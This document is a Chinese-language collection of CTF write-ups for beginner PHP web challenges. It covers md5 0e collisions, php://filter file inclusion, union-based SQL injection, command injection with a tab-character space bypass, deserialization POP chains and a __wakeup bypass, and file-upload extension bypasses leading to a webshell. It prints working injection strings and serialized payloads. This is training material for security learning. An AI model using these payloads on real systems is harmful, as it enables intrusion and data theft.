[SWPUCTF 2021 新生赛]jicao
类型:PHP、代码审计、RCE
主要知识点:json_decode()函数
json_decode():对JSON字符串解码,转换为php变量
用法:
<?php
$json = {"ctf":"web","question":18};
var_dump(json_decode($json));
var_dump(json_decode($json, true));
?>
代码审计:
<?php
highlight_file('index.php');
include("flag.php"); //包含一个php文件里面可能有一个$flag对象值为flag
$id=$_POST['id']; //发送一个POST请求,传入一个参数id,定义为对象$id
$json=json_decode($_GET['json'],true);
//发送一个GET请求,传入一个参数json;
//true将解析结果以数组形式返回;
//将解析的数组赋值给变量$json
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
//当id==wllmNB及$json进行JSON解码后的x的关联值为wllm时,输出$flag的值
?>
结果:
[SWPUCTF 2021 新生赛]easy_md5
类型:弱比较、PHP、数组绕过
主要知识点:md5弱比较、数组绕过
代码审计:
<?php
highlight_file(__FILE__);
include 'flag2.php';
if (isset($_GET['name']) && isset($_POST['password'])){
$name = $_GET['name']; //获取GET请求中的'name'参数值,并赋值给对象$name
$password = $_POST['password']; //获取POST请求中的'password'参数值,并赋值给对象$password
if ($name != $password && md5($name) == md5($password)){
echo $flag;
}
//如果$name的值不等于$password的值,且$name的md5值等于$password的md5值,输出$flag的值
else {
echo "wrong!";
}
//条件不满足输出"wrong!"
}
else {
echo 'wrong!';
}
//如果未提供'name'或'password'参数,输出"wrong!"
?>
特殊字符串
某些特殊的字符串,加密后得到的密文以0e开头,PHP会当作科学计数法来处理,也就是0的n次方,得到的值比较的时候都相同。此时就是值不同但md5或sha1值相同
常见的密文以0e开头的字符串
md5:
240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361
sha1:
10932435112: 0e07766915004133176347055865026311692244
aaroZmOk: 0e66507019969427134894567494305185566735
aaK1STfY: 0e76658526655756207688271159624026011393
aaO8zKZF: 0e89257456677279068558073954252716165668
aa3OFF9m: 0e36977786278517984959260394024281014729
0e1290633704: 0e19985187802402577070739524195726831799
数组绕过
md5(),sha1()函数无法处理数组,如果传入的为数组,会返回NULL,两个数组经过加密后得到的都是NULL,也就是相等的。故传入两个不同的数组经md5()加密会返回为NULL
[SWPUCTF 2021 新生赛]include
类型:PHP伪协议、文件包含、PHP
主要知识点:php://filter伪协议
发现并没有上传文件的地方
尝试用php://filter伪协议过滤一下flag.php文件(一般flag都在flag.php中)
条件:
只需要读取,allow_url_fopen=on;allow_url_include=off
用法:
?file=php://fileter/read=<过滤器名称>/resource=<要过滤的文件(数据流)>
补充:
php://filter是一种元封装器:设计用于"数据流打开”时的"筛选过滤”应用,对本地磁盘文件进行读写,输出base64加密后的信息
convert.base64-encode:转换过滤器,用于过滤base64编码
扩展:
allow_url_fopen:配置选项,默认开启,决定了PHP 是否能够通过URL(而不是本地文件路径)来打开文件,为on时
,
fopen()和file_get_contents()等与文件操作相关的函数可以读取和写入远程文件allow_url_include:配置选项,默认关闭,为on时,PHP 允许通过 URL 的形式,从远程服务器包含和执行PHP 文件
进入到 flag.php页面,发现一串base64编码,解码后即为flag
[SWPUCTF 2021 新生赛]easy_sql
类型:SQL注入
主要知识点:union联合注入
先用?id=1'尝试发现没变化这时发现网站标题叫“参数是wllm”,所以用?wllm=1'尝试,回显成功
用?wllm=1\判断闭合方式,发现是单引号注入
用union联合注入尝试
?wllm=-1' union select 1,2,3--+
回显成功
查询库
?wllm=-1' union select 1,2,database()--+
爆表
?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+
爆列
?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+
查看flag
?wllm=-1' union select 1,2,group_concat(flag) from test_tb--+
[SWPUCTF 2021 新生赛]easyrce
类型:RCE、PHP
主要知识点:RCE
直接?url=system("ls");
发现回显index.php文件,查看其目录?url=system("ls /");
发现目录中有疑似flag的内容,用?url=system("cat /flllllaaaaaaggggggg");查看
[第五空间 2021]WebFTP
类型:目录扫描、信息收集、.git泄露
主要知识点:dirsearch的使用
用bp抓包尝试爆破但发现需要还需要验证码爆破难度大所以应该不是弱口令爆破
用dirsearch扫描发现git泄露
进入查看
找了一圈没发现flag
重新看扫描结果发现有个phpinfo.php页面,进入ctrl+f搜索flag,得到flag
[SWPUCTF 2021 新生赛]babyrce
类型:空格绕过、RCE、Cookie注入
主要知识点:Cookie注入、shell_exec()绕过
修改cookie值为admin=1得到rasalghul.php文件
进入查看
代码审计:
<?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
$ip=$_GET['url'];
if(preg_match("/ /", $ip)){
die('nonono');
}
//正则匹配空格被禁用
$a = shell_exec($ip);
//shell_exec()将命令的输出作为字符串返回,而不是打印到标准输出。
echo $a;
}
?>
将flag放入1.txt文件中,访问1.txt文件即可得到flag(但这题直接cat%09/f*就可以出来了不需要再访问1.txt文件)
[SWPUCTF 2021 新生赛]ez_unserialize
类型:反序列化、PHP
主要知识点:构造pop链
用御剑扫描
进入网页,发现一个php文件
访问
代码审计:
<?php
error_reporting(0);
show_source("cl45s.php");
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag; //目标
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$p = $_GET['p'];
unserialize($p);
?>
构造pop链,打开phpstorm
<?php
class wllm{
public $admin;
public $passwd;
// public function __construct(){
// $this->admin ="user";
// $this->passwd = "123456";
// }
//
// public function __destruct(){
// if($this->admin === "admin" && $this->passwd === "ctf"){
// include("flag.php");
// echo $flag;
// }else{
// echo $this->admin;
// echo $this->passwd;
// echo "Just a bit more!";
// }
// }
}
//$p = $_GET['p'];
//unserialize($p);
$w=new wllm();
$w->admin="admin";
$w->passwd="ctf";
echo serialize($w);
?>
输入/?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}得到flag
[SWPUCTF 2021 新生赛]easyupload2.0
类型:文件上传、文件头绕过
主要知识点:不常用的php可执行文件后缀
需要提交jpg文件
用bp抓包 ,修改后缀,尝试双写绕过不可行,用其他php可执行文件的扩展名pht、phtml
用蚁剑连接,成功绕过
打开找flag
[SWPUCTF 2021 新生赛]easyupload1.0
类型:文件上传、MIME绕过、文件头绕过
主要知识点:前端绕过
需要提交jpg文件
用bp抓包修改后缀
连接蚁剑
打开找flag
但是发现这个flag是错误的
用phpinfo查看php服务器的配置信息
ctrl+f搜索flag
或者直接用蚁剑打开终端用env命令查看环境变量也可以发现flag
[SWPUCTF 2021 新生赛]no_wakeup
类型:反序列化、PHP
主要知识点:构造pop链、绕过_wakeup()
点进去查看
代码审计
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");
class HaHaHa{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __wakeup(){
$this->passwd = sha1($this->passwd);
} //反序列化之前触发wakeup,给passwd赋值,导致passwd不等于wllm
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag; //目标
}else{
echo $this->passwd;
echo "No wake up";
}
}
}
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
?>
构造pop链
<?php
class HaHaHa{
public $admin;
public $passwd;
// public function __construct(){
// $this->admin ="user";
// $this->passwd = "123456";
// }
// public function __wakeup(){
// $this->passwd = sha1($this->passwd);
// }
//
// public function __destruct(){
// if($this->admin === "admin" && $this->passwd === "wllm"){
// include("flag.php");
// echo $flag;
// }else{
// echo $this->passwd;
// echo "No wake up";
// }
// }
}
//
//$Letmeseesee = $_GET['p'];
//unserialize($Letmeseesee);
$h=new HaHaHa();
$h->admin="admin";
$h->passwd="wllm";
echo serialize($h);
?>
由于_wakeup()函数将wllm加密导致执行echo $this->passwd;echo "No wake up";
故需要绕过_wakeup(),变量数量大于真实的变量数量即可绕过_wakeup()的执行